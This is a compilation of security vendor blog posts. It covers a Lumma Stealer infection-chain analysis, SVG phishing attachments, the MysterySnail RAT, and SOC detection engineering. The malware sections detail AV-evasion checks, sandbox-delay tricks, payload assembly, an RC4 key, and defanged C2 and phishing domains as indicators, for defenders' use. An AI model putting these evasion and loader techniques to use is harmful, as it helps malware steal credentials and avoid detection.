To demonstrate how the Lumma Stealer installers work and the impact on systems and data security, we’ll analyze the stealer sample we found in the incident at our customer. This sample utilizes the overlay injection technique. Below is a detailed breakdown of the infection chain and the various techniques used to deploy and execute Lumma Stealer.

Initial execution and self-extracting RAR (SFX)

The initial payload in this sample is delivered as ProjectorNebraska.exe, which consists of a corrupt legitimate file and the malware in the overlay section. It is executed by the victim. Upon execution, the file extracts and runs a self-extracting RAR (SFX) archive. This archive contains the next stage of the infection: a Nullsoft Scriptable Install System (NSIS) installer. NSIS is a widely used tool for creating Windows installers.

NSIS installer components

The NSIS installer drops several components that are critical to the malware’s execution:

NSIS installer components

These include AutoIt components and an obfuscated batch script loader named Hose.cmd. The following AutoIt components are dropped:

• Fragments of a legitimate AutoIt executable: These are pieces of a genuine AutoIt executable that are dropped to the victim’s system, and then reassembled during the infection process.
• Compiled AutoIt script: The compiled script carries the core functionality of Lumma Stealer, including operations such as credential theft and data exfiltration.

These components are later reassembled into the final executable payload using the batch script loader that concatenates and executes the various fragments.

Hose.cmd orchestrates the final steps of the malware’s execution. Below is a breakdown of its key components (after deobfuscation):

Deobfuscated batch script code

Process tree after executing the batch script

The batch script performs the following actions:

• Security product evasion
  • The script scans for the presence of security software (SecureAnywhere and Quick Heal AntiVirus) using the tasklist If either of them is detected, it delays execution via the ping -n 198 command, which pings localhost 198 times. This trick is used to avoid sandbox detection, as the sandbox typically exits before the script completes the ping task.
  • The script checks for the presence of any of the following: Avast, AVG, McAfee, Bitdefender, Sophos, using the tasklist If one of them is detected, it keeps the executable name for AutoIt as AutoIt3.exe; otherwise, it renames it to Suggests.pif.
• Environment setup and payload preparation. It sets environment variables for the AutoIt executable and the final payload. It also creates a working directory named 195402 in the Temp directory to store malicious components.
• Obfuscation and extraction. The script filters and cleans a file named Sitting from the NSIS installer by removing the string OptimumSlipProfessionalsPerspective, and storing the result as Suggests.pif. It then uses the copy /b command to merge Suggests.pif with an additional component from the NSIS installer named Oclc into the AutoIt executable, saving it again as Suggests.pif.
• Payload assembly. It concatenates multiple files from the NSIS installer: Italy, Holmes, True, etc. to generate the final executable with the name h.a3x, which is an AutoIt script.
• Execution of Lumma Stealer. Finally, the script runs Suggests.pif, which in turn executes h.a3x, triggering the AutoIt-based execution of Lumma Stealer.

AutoIt script analysis

During the analysis, the AutoIt Extractor utility was used to decompile and extract the script from the h.a3x file. The script was heavily obfuscated and required additional deobfuscation to get a clean and analyzable .au3 script. Below is the analysis of the AutoIt loader’s behavior.

AutoIt script extraction

Anti-analysis checks

The script begins by validating the environment to detect analysis tools or sandbox environments. It checks for specific computer names and usernames often associated with testing environments.

Environment validation

It then checks for processes from popular antivirus tools such as Avast (avastui.exe), Bitdefender (bdagent.exe), and Kaspersky (avp.exe).

Anti-AV checks

If any of these conditions are met, the script halts execution to evade detection.

Executing loader shellcode

If the anti-analysis checks are passed, the script dynamically selects 32-bit or 64-bit shellcode based on the system architecture, which is located in the $vinylcigaretteau variable inside the script. To do this, it allocates executable memory and injects the shellcode into it. The shellcode then initializes the execution environment and prepares for the second-stage payload.

Part of the AutoIt loader responsible for the shellcode execution

Processing the $dayjoy payload

After executing the loader shellcode, the script processes the second-stage payload located in the $dayjoy variable. The payload is decrypted using RC4 with a hardcoded key 1246403907690944.

The encrypted payload

To decrypt the payload independently, we wrote a custom Python script that you can see in the screenshot below.

Python script for payload decryption

The decrypted payload is decompressed using the LZNT1 algorithm.

Payload decompression

Final payload execution

After decryption and decompression, the $dayjoy payload is executed in memory. The script uses DllCallAddress to invoke the payload directly in the allocated memory. This ensures the payload is executed stealthily without being written to disk.

Final payload execution

This final payload is the stealer itself. The malware’s comprehensive data theft capabilities target a wide range of sensitive information, including:

• Cryptocurrency wallet credentials (e.g., Binance, Ethereum) and associated browser extensions (e.g., MetaMask)
• Two-factor authentication (2FA) data and authenticator extensions
• Browser-stored credentials and cookies
• Stored credentials from remote access tools such as AnyDesk
• Stored credentials from password managers such as KeePass
• System and application data
• Financial information such as credit card numbers

C2 communication

Once Lumma Stealer is executed, it establishes communication with its command and control (C2) servers to exfiltrate the stolen data. The malware sends the collected information back to the attacker’s infrastructure for further exploitation. This communication is typically performed over HTTP or HTTPS, often disguised as legitimate traffic to avoid detection by network security monitoring tools.

C2 servers identified

The following C2 domains used by Lumma Stealer to communicate with the attackers were identified in the analyzed sample:

• reinforcenh[.]shop
• stogeneratmns[.]shop
• fragnantbui[.]shop
• drawzhotdog[.]shop
• vozmeatillu[.]shop
• offensivedzvju[.]shop
• ghostreedmnu[.]shop
• gutterydhowi[.]shop

These domains are used to receive stolen data from infected systems. Communication with these servers is typically via encrypted HTTP POST requests.

Conclusions

As a mass-distributed malicious program, Lumma Stealer employs a complex infection chain that includes a number of anti-analysis and detection evasion techniques, to stealthily infiltrate the victim’s device. Although the initial infection via dubious pirated software and cryptocurrency-related websites and Telegram channels suggests that individuals are the primary targets of these attacks, we saw Lumma in an incident at one of our customers, which illustrates that organizations can also fall victim to this threat. The information stolen by such malware may end up in the hands of more prominent cybercriminals, such as ransomware operators. That’s why it’s important to prevent stealer infections at the early stages. By understanding the infection techniques, security professionals can better defend against this growing threat and develop more effective detection and prevention strategies.

IoCs

The following list contains the URLs detected during our research. Note that the attackers change the malicious URLs and Telegram channels almost daily, and the IoCs provided in this section were already inactive at the time of writing. However, they may be useful for retrospective threat detection.

Malicious fake CAPTCHA pages

• seenga[.]com/page/confirm.html
• serviceverifcaptcho[.]com
• downloadsbeta[.]com
• intelligenceadx[.]com
• downloadstep[.]com
• nannyirrationalacquainted[.]com
• suspectplainrevulsion[.]com
• streamingsplays[.]com
• bot-detection-v1.b-cdn[.]net
• bot-check-v5.b-cdn[.]net
• spam-verification.b-cdn[.]net
• human-test.b-cdn[.]net
• b-cdn[.]net
• b-cdn[.]net

Telegram channels distributing Lumma

• t[.]me/hitbase
• t[.]me/sharmamod

Read More 

With each passing year, phishing attacks feature more and more elaborate techniques designed to trick users and evade security measures. Attackers employ deceptive URL redirection tactics, such as appending malicious website addresses to seemingly safe links, embed links in PDFs, and send HTML attachments that either host the entire phishing site or use JavaScript to launch it. Lately, we have noticed a new trend where attackers are distributing attachments in SVG format, the kind normally used for storing images.

SVG format

SVG (Scalable Vector Graphics) is a format for describing two-dimensional vector graphics using XML. This is how an SVG file appears when opened in image viewing software.

SVG image

But if you open it in a text editor, you can see the XML markup that describes the image. This markup allows for easy editing of image parameters, eliminating the need for resource-intensive graphics editors.

This is what an SVG file looks like when opened in a text editor

Since SVG is based on XML, it supports JavaScript and HTML, unlike JPEG or PNG. This makes it easier for designers to work with non-graphical content like text, formulas, and interactive elements. However, attackers are exploiting this by embedding scripts with links to phishing pages within the image file.

Sample SVG file with embedded HTML code. The tag introduces HTML markup

Phishing email campaigns leveraging SVG files

At the start of 2025, we observed phishing emails that resembled attacks with an HTML attachment, but instead utilized SVG files.

Phishing email with an SVG attachment

A review of the email’s source code shows that the attachment is identified as an image type.

The file as displayed in the email body

However, opening the file in a text editor reveals that it is essentially an HTML page with no mention of vector graphics.

Code of the SVG file

In a browser, this file appears as an HTML page with a link that supposedly points to an audio file.

SVG file viewed as HTML

Clicking the link redirects the user to a phishing page masquerading as Google Voice.

Phishing page mimicking Google Voice

The audio track at the top of the page is a static image. Clicking “Play Audio” redirects the user to a corporate email login page, allowing attackers to capture their credentials. This page, too, mentions Google Voice. The page also includes the target company’s logo, aiming to lower the user’s guard.

Login form

In a separate instance, mimicking a notification from an e-signature service, attackers presented an SVG attachment as a document that required review and signature.

Phishing e-signature request

Unlike the first example, where the SVG file acted as an HTML page, in this case it contains JavaScript that, when the file is opened, launches a browser window with a phishing site featuring a fake Microsoft login form.

Code of the SVG file

Phishing login form

Statistics

Our telemetry data indicates a significant increase in SVG campaigns during March 2025. We found 2,825 of these emails in just the first quarter of the year.

Emails with SVG attachments, January through March 2025 (download)

In April, the upward trend continued: in the first half of the month, we detected 1324 emails with SVG attachments – more than two-thirds of March’s figure.

Takeaways

Phishers are relentlessly exploring new techniques to circumvent detection. They vary their tactics, sometimes employing user redirection and text obfuscation, and other times, experimenting with different attachment formats. The SVG format provides the capability to embed HTML and JavaScript code within images, which is misused by attackers. Despite not being widespread at the time of this study, SVG attachment attacks are showing a clear upward trend. These attacks, while currently relatively basic – much like HTML attachment scenarios – involve SVG files containing either a phishing link page or a redirection script to a fraudulent site. However, the use of SVG as a container for malicious content can also be employed in more sophisticated targeted attacks.

Read More 

Day after day, threat actors create new malware to use in cyberattacks. Each of these new implants is developed in its own way, and as a result gets its own destiny – while the use of some malware families is reported for decades, information about others disappears after days, months or several years.

We observed the latter situation with an implant that we dubbed MysterySnail RAT. We discovered it back in 2021, when we were investigating the CVE-2021-40449 zero-day vulnerability. At that time, we identified this backdoor as related to the IronHusky APT, a Chinese-speaking threat actor operating since at least 2017. Since we published a blogpost on this implant, there have been no public reports about it, and its whereabouts have remained unknown.

However, recently we managed to spot attempted deployments of a new version of this implant, occurring in government organizations located in Mongolia and Russia. To us, this observed choice of victims wasn’t surprising, as back in 2018, we wrote that IronHusky, the actor related to this RAT, has a specific interest in targeting these two countries. It turned out that the implant has been actively used in cyberattacks all these years although not reported.

Infection through a malicious MMC script

One of the recent infections we spotted was delivered through a malicious MMC script, designed to be disguised as a document from the National Land Agency of Mongolia (ALAMGAC):

Malicious MMC script as displayed in Windows Explorer. It has the icon of a Microsoft Word document

When we analyzed the script, we identified that it is designed to:

• Retrieve a ZIP archive with a second-stage malicious payload and a lure DOCX file from the

  file[.]io

  public file storage.

• Unzip the downloaded archive and place the legitimate DOCX file into the

  %AppData%CiscoPluginsX86binetcUpdate

  folder

• Start the

  CiscoCollabHost.exe

  file dropped from the ZIP archive.

• Configure persistence for the dropped

  CiscoCollabHost.exe

  file by adding an entry to the Run registry key.

• Open the downloaded lure document for the victim.

Intermediary backdoor

Having investigated the

CiscoCollabHost.exe

file, we identified it as a legitimate executable. However, the archive deployed by the attackers also turned out to include a malicious library named

CiscoSparkLauncher.dll

, designed to be loaded by the legitimate process through the DLL Sideloading technique.

We found out that this DLL represents a previously unknown intermediary backdoor, designed to perform C2 communications by abusing the open-source piping-server project. An interesting fact about this backdoor is that information about Windows API functions used by it is located not in the malicious DLL file, but rather in an external file having the

logMYFC.log

relative path. This file is encrypted with a single-byte XOR and is loaded at runtime. It is likely that the attackers introduced this file to the backdoor as an anti-analysis measure – since it is not possible to determine the API functions called without having access to this file, the process of reverse engineering the backdoor essentially turns into guesswork.

By communicating with the legitimate

https://ppng.io

server powered by the

piping-server

project, the backdoor is able to request commands from attackers and send back their execution results. It supports the following set of basic malicious commands:

As we found out, attackers used commands implemented in this backdoor to deploy the following files to the victim machine:

• sophosfilesubmitter.exe

  , a legitimate executable

• fltlib.dll

  , a malicious library to be sideloaded

In our telemetry, these files turned out to leave footprints of the MysterySnail RAT malware, an implant we described back in 2021.

New version of MysterySnail RAT

In observed infection cases, MysterySnail RAT was configured to persist on compromised machines as a service. Its malicious DLL, which is deployed by the intermediary backdoor, is designed to load a payload encrypted with RC4 and XOR, and stored inside a file named

attach.dat

. When decrypted, it is reflectively loaded using DLL hollowing with the help of code implemented inside the run_pe library.

Just as the version of MysterySnail RAT we described in 2021, the latest version of this implant uses attacker-created HTTP servers for communication. We have observed communications being performed with the following servers:

• watch-smcsvc[.]com
• leotolstoys[.]com
• leotolstoys[.]com

Having analyzed the set of commands implemented in the latest version of this backdoor, we identified that it is quite similar to the one implemented in the 2021 version of MysterySnail RAT – the newly discovered implant is able to accept about 40 commands, making it possible to:

• Perform file system management (read, write and delete files; list drives and directories).
• Execute commands via the cmd.exe shell.
• Spawn and kill processes.
• Manage services.
• Connect to network resources.

Compared to the samples of MysterySnail RAT we described in our 2021 article, these commands were implemented differently. While the version of MysterySnail from 2021 implements these commands inside a single malicious component, the newly discovered version of the implant relies on five additional DLL modules, downloaded at runtime, for command execution. These modules are as follows:

However, this transition to a modular architecture isn’t something new – as we have seen modular versions of the MysterySnail RAT deployed as early as 2021. These versions featured the same modules as described above, including the typo in the

ExplorerMoudleDll.dll

module name. Back then, we promptly made information about these versions available to subscribers of our APT Intelligence Reporting service.

MysteryMonoSnail – a repurposed version of MysterySnail RAT

Notably, a short time after we blocked the recent intrusions related to MysterySnail RAT, we observed the attackers to continue conducting their attacks, by deploying a repurposed and more lightweight version of MysterySnail RAT. This version consists of a single component, and that’s why we dubbed it MysteryMonoSnail. We noted that it performed communications with the same C2 server addresses as found in the full-fledged version of MysterySnail RAT, albeit via a different protocol – WebSocket instead of HTTP.

This version doesn’t have as many capabilities as the version of MysterySnail RAT that we described above – it was programmed to have only 13 basic commands, used to list directory contents, write data to files, and launch processes and remote shells.

Obsolete malware families may reappear at any time

Four years, the gap between the publications on MysterySnail RAT, has been quite lengthy. What is notable is that throughout that time, the internals of this backdoor hardly changed. For instance, the typo in the

ExplorerMoudleDll.dll

that we previously noted was present in the modular version of MysterySnail RAT from 2021. Furthermore, commands implemented in the 2025 version of this RAT were implemented similarly to the 2021 version of the implant. That is why, while conducting threat hunting activities, it’s crucial to consider that old malware families, which have not been reported on for years, may continue their activities under the radar. Due to that, signatures designed to detect historical malware families should never be discontinued simply because they are too old.

At Kaspersky’s GReAT team, we have been focusing on detecting complex threats since 2008 – and we provide sets of IoCs for both old and new malware to customers of our Threat Intelligence portal. If you wish to get access to these IoCs and other information about historical and emerging threats, please contact us at intelreports@kaspersky.com.

Read More 

Security operations centers (SOCs) exist to protect organizations from cyberthreats by detecting and responding to attacks in real time. They play a crucial role in preventing security breaches by detecting adversary activity at every stage of an attack, working to minimize damage and enabling an effective response. To accomplish this mission, SOC operations can be broken down into four operating phases:

Each of these operating phases has a distinct role to play, and well-defined processes or procedures ensure a seamless handover of findings from one phase to the next. In practice, SOC processes and procedures at each operational phase often require continuous improvement over time.

Assessment observations: Common SOC issues

During our involvement in SOC technical assessments, adversary emulations, and incident response readiness projects across different regions, we evaluated each operating phase separately. Based on our assessments, we observed common challenges, weak practices, and recurring issues across these four key SOC capabilities.

Log collection

There are three main issues we have observed at this stage:

• Lack of visibility coverage based on the MITRE DETT&CT framework – customers do not practice maintaining a visibility coverage matrix. Instead, they often maintain log source data as an Excel or similar spreadsheet that is not easily tracked. This means they don’t have a systematic approach to what data they are feeding into the SIEM and which TTPs can be detected in their environment. And in most cases, maintaining a continuous visibility matrix is also a challenge because log sources may disappear over time for a variety of reasons: agent termination, changes in log destination settings, device (e.g., firewall) replacement. This only leads to the degradation of the log visibility matrix.
• Inefficient use of data for correlation – in many cases, relevant data is available to detect threats, but there are no correlation rules in place to leverage it for threat detection.
• Correlation exists, but lacks the necessary data fields – while some rule sets are properly configured with the right logic to detect threats, the required data fields from log sources are missing, preventing the rules from being triggered. This critical issue can only be detected through a data quality assessment.

Detection

At this stage, we have seen the following issues during assessment procedures:

• Over-reliance on vendor-provided rules – many customers rely heavily on the default rule sets in their SIEM and only tune them when alerts are triggered. Since the default content is not optimized, it often generates thousands of alerts. This reactive approach leads to excessive alert fatigue, making it difficult for analysts to focus on truly meaningful alerts.
• Lack of detection alignment with the threat profile – the absence of a well-defined organizational threat profile prevents customers from focusing on the threats that are most likely to target them. Instead, they adopt a scattered approach to detection, like shooting in the dark rather than prioritizing relevant threats.
• Poor use of threat intelligence feeds – we have encountered cases where endpoint logs do not contain file hash data. The log sources only provide filenames or file paths, but not the actual hash values, making it difficult for the SOC to correlate threat intelligence (TI) feeds that rely on file hashes. As a result, TI feeds are not operational because the required data field is not ingested into the SIEM.
• Analytics deployment errors – one of the most challenging issues we see is when a well-designed detection rule is deployed incorrectly, causing threat detection to fail despite having the right analytics in place. We have found that there is no structured process for reviewing and validating rule deployments.

Triage and investigation

The most typical issues at this stage are:

• Lack of a documented triage procedure – analysts often rely on generic, high-level response playbooks sourced from the internet, especially from unreliable sources, which slows or hinders the process of qualifying alerts as potential incidents. Without a structured triage procedure, they spend more time investigating each case instead of quickly assessing and escalating threats.
• Unattended alerts – we also observed that many alerts were completely ignored by analysts. This likely stems from either a lack of skill in linking multiple alerts into a single incident, or analysts being swamped with high-severity alerts, causing them to overlook other relevant alerts.
• Difficulty in correlating alerts – as noted in the previous observation, one of the biggest challenges is linking related alerts into a single incident. The lack of alert correlation makes it harder to see the full attack pattern, leading to disorganized alert diagnosis.
• Default use of alert severity – SIEM default rules don’t take into account the context of the target system. Instead, they rely on the default severity in the rule, which is often set randomly or based on an engineer’s opinion without a clear process. This lack of context makes it harder to investigate and properly assess alerts.

Response

The challenges of the final operating phase are most often derived from the issues encountered in the previous stages.

• Challenges in incident scoping – as mentioned earlier, the inability to properly correlate alerts leads to a fragmented understanding of attack patterns. This makes it difficult to see the bigger picture, resulting in inefficient incident handling and misjudged response efforts.
• Increase in unnecessary escalations – this issue is particularly common in MSSP environments, where a lack of understanding of baseline behavior causes analysts to escalate benign cases. Without proper context, normal activities are mistaken for threats, resulting in wasted time and effort.

With these ongoing challenges, chaos will continue in SOC operations. As organizations adopt new security tools such as CASB and container security, both of which generate valuable detection data, and as digital transformation introduces even more technology, security operations will only become more complex, exacerbating these issues.

Taking the right and impactful approach

Enhancing SOC operations requires evaluating each operating phase from an investment perspective, with the detection phase having the greatest impact because it directly affects data quality, threat visibility, incident response efficiency, and the overall effectiveness of the SOC analyst. Investing in detection directly influences all the other operating phases, making it the foundation for improving all operating phases. The detection operating phase must be handled through a dedicated program that ensures log collection is purpose-driven, collecting only the data fields necessary for detection rather than unnecessarily driving up SIEM costs. This focused approach helps define what should be ingested into the SIEM while ensuring meaningful threat visibility.

Strengthening detection reduces false positives and false negatives, improves true positive rates, and enables the identification of attacker activity chains. A documented triage and investigation process streamlines the work of analysts, improving efficiency and reducing response time. Furthermore, effective incident scoping, guided by accurate detection of the cyber kill chain, enables a faster and more precise response. By prioritizing investment in detection and managing it through a structured approach, organizations can significantly improve SOC performance and resilience against evolving threats. This article focuses solely on SIEM-based detection management.

Detection engineering program

Before diving into the program-level approach, we will first present the detection engineering lifecycle that forms the foundation of the proposed program. The image below shows the stages of this lifecycle.

The detection engineering lifecycle shown here is typically followed when building detections, but its implementation often lacks well-defined processes or a dedicated team. A structured program must be put in place to ensure that the SOC’s investment and efforts in detection engineering are used efficiently.

When we talk about a program, it should be built on the following key elements:

• A dedicated team responsible for driving the program
• Well-defined processes and procedures to ensure consistency and effectiveness
• The right tools to integrate with workflows, facilitate output handovers, and enable feedback loops across related processes
• Meaningful metrics to measure the overall performance of the program.

We will discuss these performance measurement metrics in the final section of the article.

1. Team supporting detection engineering program

The key idea behind having a dedicated team is to take full control of the detection engineering (DE) lifecycle, from analysis to release, and ensure accountability for the program’s success. In a traditional SOC setup, deployment and release are often handled by SOC engineers. This can lead to deployment errors due to potential differences in the data models used by DE and SOC teams (raw log data vs. SIEM-optimized data), as well as deployment delays due to the SOC team being overloaded with other tasks. This, in turn, can indirectly impact the work of the detection team. However, the one responsibility that does not fall under the DE team is log onboarding. Since this process requires coordination with other teams, it should continue to be managed by SOC engineers to keep the DE team focused on its core objectives.

The DE team should start with at least three key roles:

The size of the team depends on factors related to the program’s objectives. For example, if the goal is to build a certain number of detection rules per month, the number of detection engineers required will vary accordingly. Similarly, if a certain number of rules need to be tested and deployed within a week, the team size must be adjusted to meet that demand.

The Detection Engineering Lead should communicate with SOC leadership to set the right expectations by outlining what goals can realistically be achieved based on the size and capacity of the DE team. A dedicated Detection QA role can be established as the need for testing, deployment, and release of detections grows.

2. Process and procedures

Well-defined workflows, supported by structured processes and procedures, must be established to streamline detection engineering operations. The following image illustrates the necessary processes and procedures, along with the roles responsible for executing each workflow:

During the qualification process, the Detection Engineering Lead or Detection Engineer may discover that the data source needed to develop a detection is not available. In such cases, they should follow the log management process to request onboarding of the required data before proceeding with detection research and development. The testing process typically checks that the rule works by ensuring that the SIEM triggers an alert based on the required data fields.

Lastly, a validation process that is not part of the detection engineering lifecycle must be incorporated into the detection engineering program to assess its overall effectiveness. Ideally, this validation should be conducted by individuals outside the DE lifecycle or by an external service provider.

Proper planning is required that incorporates threat intelligence and an updated threat profile. In addition, the validation process should generate reports that outline:

• What is working well
• Areas that need improvement
• Detection gaps identified

3. Tools

An essential element of the DE lifecycle is the use of tools to streamline processes and improve efficiency. Key tools include:

• Ticketing platform – efficiently manages workflows, tracks progress from ticket creation to closure, and provides time-based metrics for monitoring.
• Rules repository – platform for managing detection queries and code, supporting Detection-as-Code, using a unified rule format such as SIGMA, and implementing code development best practices in detection engineering, including features such as version control and change management.
• Centralized knowledge base – dedicated space for documenting detection rules, descriptions, research notes, and other relevant information. See the best practices section below for more details on centralized documentation.
• Communication platform – facilitates collaboration among DE team members, integrates with the ticketing system, and provides real-time notification of ticket status or other issues.
• Lab environment – virtualized setup, including SIEM and relevant data sources, tools to simulate attacks for testing purposes. The core function of the lab is to test detection rules prior to release.

Best practices in detection engineering

Several best practices can significantly enhance your detection engineering program. Based on our experience, implementing these best practices will help you effectively manage your rule set while providing valuable support to security analysts.

1. Rule naming convention

When developing analytics or a rule, adhering to a proper naming convention provides a concrete framework. A rule name like “Suspicious file drop detected” may confuse the analyst and force them to dig deeper to understand the context of the alert that was triggered. It would be better to give a rule a name that provides complete context at first glance, such as “Initial Access | Suspicious file drop detected in user directory | Windows – Medium”. This example makes it easy for the analyst to understand:

• At what stage of the attack the rule is triggered. In this case, it is Initial Access as per MITRE / Kill Chain Model.
• Where exactly the file was dropped. In this case, the user directory was the target, which may mean that this probably involved user interaction, which is another sign that the attack was probably detected at an early stage.
• What platform was attacked. In this case, it is Windows, which can help the analyst to quickly find the machine that triggered the alert.
• Lastly, an alert priority can be set, which helps the analyst to prioritize accordingly. For this to work properly, SIEM’s priority levels should be aligned with the rule priorities defined by the detection engineering team. For example, a high priority in SIEM should correspond to a high-priority alert.

A consistent rule naming structure can help the detection engineering team to easily search, sort and manage existing rules, avoid creating duplicates with different names, etc.

The naming structure doesn’t necessarily have to look like the example above. The whole idea of this best practice is to find a good naming convention that not only helps the SOC analyst, but also makes managing detection rules easier and more convenient.

For example, while the rule name “Audit Log Deletion” gives a basic idea of what is happening, a more effective name would be:

[High] – Audit Log Deletion in Internal Server Farm – Linux - Defense Evasion (1070.002).

This provides better context, making it much more useful to the SOC team, and more keywords for the DE team to find this particular rule or filter rules if necessary.

2. Centralized knowledge base

Once a rule is created after thorough research, the detection team should manage it in a centralized platform (a knowledge base). This platform should not only store the rule name and logic, but also other key details. Important elements to consider:

• Rule name/ID/description – rule name, unique ID, and a brief description of the rule.
• Rule type/status – provides insight into the rule type (static, correlated, IoC-based, etc.) and the status (experimental, stable, retired, etc.).
• Severity and confidence – seriousness of the threat triggering this rule and the likelihood of a true positive.
• Research notes – possible public links, threat reports, used as a basis for creating the rule.
• Data components used to detect the behavior – list of source and data fields used to detect activity.
• Triage steps – provides steps to investigate the alert.
• False positives – provides options where the alert could show false positive behavior.
• Tags (CVE, Actors, Malware, etc.) – provide more context if the detection is linked to a behavior or artifact, specific to any APT group, or malware.

Make sure this centralized documentation is accessible to all SOC analysts.

3. Contextual tagging

As covered in the previous best practice, tags provide a great value in understanding the attack chain. That’s why we want to highlight them as a separate best practice.

The tags attached to the above detection rule are the result of the research done on the behavior of the attack when writing the detection rule. They help the analyst gain more context at the time the rule is triggered. In the example above, the analyst may suspect a potential initial access attempt related to QakBot or Black Basta ransomware. This also helps in reporting to security leadership that the SOC team successfully detected the initial ransomware behavior and was able to thwart the attack in the early stages of the kill chain.

4. Triage steps

A good practice is to include triage (or investigation steps) in detection rule documentation. Since the DE team has spent a lot of time understanding the threat, it is very important to document the precursors and possible next steps the attacker can take. The SOC analyst can quickly review these and provide incident qualification with confidence.

For the rule from the previous section, “Initial Access | Suspicious LNK files dropped in download folder | Windows – Medium”, the triage procedure is shown below.

MITRE has a project called the Technique Inference Engine, which provides a model for understanding other techniques an attacker is likely to use based on observed adversary behavior. This tool can be useful for both DE and SOC teams. By analyzing the attacker’s path, organizations can improve alert correlation and enhance scoping of incident/threats.

5. Baselining

Understanding the infrastructure and its baseline operations is a must, as it helps reduce the false positive rate. The detection engineering team must learn the prevention policies (to de-prioritize detection if already remediated), learn about the technologies deployed in the infrastructure, understand the network protocols being used and user behavior under normal circumstances.

For example, to detect T1480.002: Execution Guardrails: Mutual Exclusion sub-technique, MITRE recommends monitoring a “file creation” data component. According to the MITRE Data Sources framework, data components are possible actions with data objects and/or data objects statuses or parameters that may be relevant for threat detection. We discussed them in more detail in our detection prioritization article.

MITRE’s detection recommendation for T1480.002 sub-technique

A simple rule for detecting such activity is to monitor lock file creation events in the /var/run folder, which stores temporary runtime data for running services. However, if you have done the baselining and found that the environment uses containers that also create lock files to manage runtime operations, you can filter out container-linked events to avoid triggering false positive alerts. This filter is easy to apply, and overall detection can be improved by baselining the infrastructure you are monitoring.

6. Finding the narrow corridors

Some indicators, such as file hashes or software tools are easy to change, while others are more difficult to replace. Detections based on such “narrow corridors” tend to have high true positive rates. To pursue this, detection should focus primarily on behavioral indicators, ensuring that attackers cannot easily evade detection by simply changing their tools or tactics. Priority should be given to behavior-based detection over tool-specific, software-dependent, or IoC-driven approaches. This aligns with the Pyramid of Pain model, which emphasizes detecting adversaries based on their tactics, techniques, and procedures (TTPs) rather than easily replaceable indicators. By prioritizing common TTPs, we can effectively identify an adversary’s modus operandi, making detection more resilient and impactful.

7. Universal rules

When planning a detection program from scratch, it is important not to ignore the universal threat detection rules that are mostly available in SIEM by default. Detection engineers should operationalize them as soon as possible and tune them according to feedback received from SOC analysts or what they have learned about the organization’s infrastructure during baselining activity.

Universal rules generally include malicious behavior associated with applications, databases, authentication anomalies, unusual remote access behavior, and policy violation rules (typically to monitor compliance requirements).

Some examples include:

• Windows firewall settings modification detected
• Use of unapproved remote access tools
• Bulk failed database login attempts

Performance measurement

Every investment needs to be justified with measurable outcomes that demonstrate its value. That is why communicating the value of a detection engineering program requires the use of effective and actionable metrics that demonstrate impact and alignment with business objectives. These metrics can be divided into two categories: program-level metrics and technical-level metrics. Program-level metrics signal to security leadership that the program is well aligned with the company’s security objectives. Technical metrics, on the other hand, focus on how operational work is being carried out to maximize the detection engineering team’s operational efficiency. By measuring both program-level metrics and technical-level metrics, security leaders can clearly show how the detection engineering program supports organizational resilience while ensuring operational excellence.

Designing effective program-level metrics requires revisiting the core purpose for initiating the program. This approach helps identify metrics that clearly communicate success to security leadership. There are three metrics that can be very effective to measure the success at program level.

1. Time to Detect (TTD) – this metric is calculated as the time elapsed from the moment an attacker’s initial activity is observed until the time it is formally detected by the analyst. Some SOCs consider the time the alert is triggered on the SIEM as the detection time, but that is not really an actionable metric to consider. The time the alert is converted into a potential incident is the best option to consider for detection time by SOC analysts.

Although the initial detection of activity occurs at t1 (alert triggered), when malicious activity occurs, a series of events must be analyzed before qualifying the incident. This is why t3 is required to correctly qualify the detection as a potential threat. Additional metrics such as time to triage (TTT), which establishes how long it takes to qualify the incident, and time to investigate (TTI), which describes how long it takes to investigate the qualified incident, can also come in handy.

Time to detect compared to time to triage and time to investigate metrics

2. Signal-to-Noise Ratio (SNR) – this metric indicates the effectiveness of detection rules by measuring the balance between relevant and irrelevant information. It compares the number of true positive detections (correct alerts for real threats) to the number of false positives (incorrect or misleading alerts).

Where:

True positives: instances where a real threat is correctly detected
False positives: incorrect alerts that do not represent real threats

A high SNR indicates that the system is generating more meaningful alerts (signal) compared to noise (false positives), thereby enhancing the efficiency of security operations by reducing alert fatigue and focusing analysts’ attention on genuine threats. Improving SNR is crucial to maximizing the performance and reliability of a detection program. SNR directly impacts the amount of SOC analyst effort spent on false positives, which in turn influences alert fatigue and the risk of professional burnout. Therefore, it is a very important metric to consider.

3. Threat Profile Alignment (TPA) – this metric evaluates how well detections are aligned with known adversarial tactics, techniques, and procedures (TTPs). This metric measures this by determining how many of the identified TTPs are adequately covered by unique detections (unique data components).

Total TTPs identified – this is the number of known adversarial techniques relevant to the organization’s threat model, typically derived from cyber threat intelligence threat profiling efforts
Total TTPs covered with at least three unique detections (where possible) – this counts how many of the identified TTPs are covered by at least three distinct detection mechanisms. Having multiple detections for a given TTP enhances detection confidence, ensuring that if one detection fails or is bypassed, others can still identify the activity.
Team efforts supporting the detection engineering program must also be measured to demonstrate progress. These efforts are reflected in technical-level metrics, and monitoring these metrics will help justify team scalability and address productivity challenges. Key metrics are outlined below:

1. Time to Qualify Detection (TTQD) – this metric measures the time required to analyze and validate the relevance of a detection for further processing. The Detection Engineering Lead assesses the importance of the detection and prioritizes it accordingly. The metric equals the time that has elapsed from when a ticket is raised to create a detection to when it is shortlisted for further research and implementation.

2. Time to Create Detection (TTCD) – this tracks the amount of time required to design, develop and deploy a new detection rule. It highlights the agility of detection engineering processes in responding to evolving threats.

3. Detection Backlog – the backlog refers to the number of pending detection rules awaiting review or consideration for detection improvement. A growing backlog might indicate resource constraints or inefficiencies.

4. Distribution of Rules Criticality (High, Medium, Low) – this metric shows the proportion of detection rules categorized by their criticality level. It helps in understanding the balance of focus between high-risk and lower-risk detections.

5. Detection Coverage (MITRE) – detection coverage based on MITRE ATT&CK indicates how well the detection rules cover various tactics, techniques, and procedures (TTPs) in the MITRE ATT&CK framework. It helps identify coverage gaps in the defense strategy. Tracking the number of unique detections that cover each specific technique is highly recommended, as it provides visibility into the threat profile alignment – a program level metric. If unique detections are not being built to detect gaps and the coverage is not increasing over time, it indicates an issue in the detection qualification process.

6. Share of Rules Never Triggered – this metric tracks the percentage of detection rules that have never been triggered since their deployment. It may indicate inefficiencies, such as overly specific or poorly implemented rules, and provides insight for rule optimization.

